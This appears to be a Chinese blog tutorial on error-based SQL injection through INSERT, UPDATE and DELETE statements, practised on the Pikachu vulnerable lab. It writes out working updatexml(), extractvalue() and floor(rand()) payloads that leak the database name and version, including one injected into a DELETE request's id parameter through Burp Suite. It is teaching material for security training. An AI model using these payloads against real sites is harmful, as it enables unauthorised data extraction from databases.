基于insert update delete的注入利用案

Insert注入
前端注册信息会被后台通过insert这个操作将信息插入到数据库里,前端输入可直接拼接到insert相关操作里,形成一个insert注入。

基于insert下的报错
在后端数据库member表格里插入一个用户——第五行mysql>写入 insert into member(username,pw,sex,ponenum,email,address)values(‘xiaohong’,111111,1,2,3,4);(1,2,3,4)这些字段也可用别的字段代替。——回车提交这个正常的插入——第四行mysql>写入 select* from menber;回车——构造闭合——在接下来的mysql> insert into member(username,pw,sex,phoneum,email,address) values(‘1’ or(这里是一个表达式)or’ ‘,111111,1,2,3,4);——表达式的插入基于insert下的报错xiaohong’ or updatexml(1,concat( 0x7e,database()),0) or ‘(该语句插入后SQL语句在执行的时候会用or的逻辑运算对第一个插入的值进行运算)—— updatexml(1,concat( 0x7e,database()),0插入——形成语句mysql> insert into member(username,pw,sex,phoneum,email,address) values(‘1’ or updatexml(1,concat( 0x7e,database()),0) or’’,111111,1,2,3,4);点击回车——显示出datebases执行结果

操作:
pikachu平台"insert/update"注入——用户一栏输入xiaohong’ or updatexml(1,concat( 0x7e,database()),0) or ‘,昵称随便填一个提交——得到报错——与Sql-Inject基于函数的报错一样只需要将database()函数换成别的函数名,即可得到想要了解数据的信息得到报错
基于update下的报错
在pikachu里"insert/update"注入中登录
页面username一栏输入xiaohong’ or updatexml(1,concat( 0x7e,database()),0) or '——点击提交得到报错信息以及数据库名称。

基于delete的报错
在pikachu"的delete"注入里点击删除留言——在burp suite里proxy找到该删除留言请求——将该请求发送到repeater——在后台,直接将id获取到之后拼接到sql里面去——构造闭合——将1 or updatexml(1,concat(0x7e,database()),0)放入burp suite上拼接到id=后面构成完整的URL——选择该语句右键将其通过URL-encode key characters转化成合法的拼接——返回数据最下面查看报错信息——将数据库名称返回
删除留言
burp suite请求抓包发送
初始信息
插入语句
得到所需数据资料
基于extract value下的报错

extract value)函数作用:从目标XML中返回包含所查询值的字符串。
语法: ExtractValue(xml_document, xpath_string)
第一个参数对xml进行操作的函数,对指定的内容进行查询
第二个参数xpath_string去定位所要查询的字符串
函数的作用。
第一个参数: XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数: XPath_string (格式的字符串)
Xpath定位必须是有效的,否则则会发生错误
去构造
得到错误可以把表达式拼进去将表达式的结果作为错误的内容返回来。
操作:在pikachu里的字符型注入查询栏输 kobe’ and extractvalue (0,concat(0x7e,version()))#——得到一个报错显示出数据库的版本
在这里插入图片描述

基于floor的报错
说明:数据库第五行mysql>输入 select floor(1111.1111)回车——得到前面的整数部分,将小数点后面的部分去掉
该函数能够运行要有下面三个函数(加黑字体)kobe’ and (select 2 from (select count(*), concat(version( ), floor (rand(0)2))x from information_schema.tables group by x) a)#
(floor去取rand生成的整数部分将其于version生成的结果进行拼接
操作:pikachu里字符型注入输入kobe’ and (select 2 from (select count(
), concat(version( ), floor (rand(0)*2))x from information_schema.tables group by x) a)#——得到报错结果——显示数据库的版本(其中version()可代替成其它你想查找的表达式
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值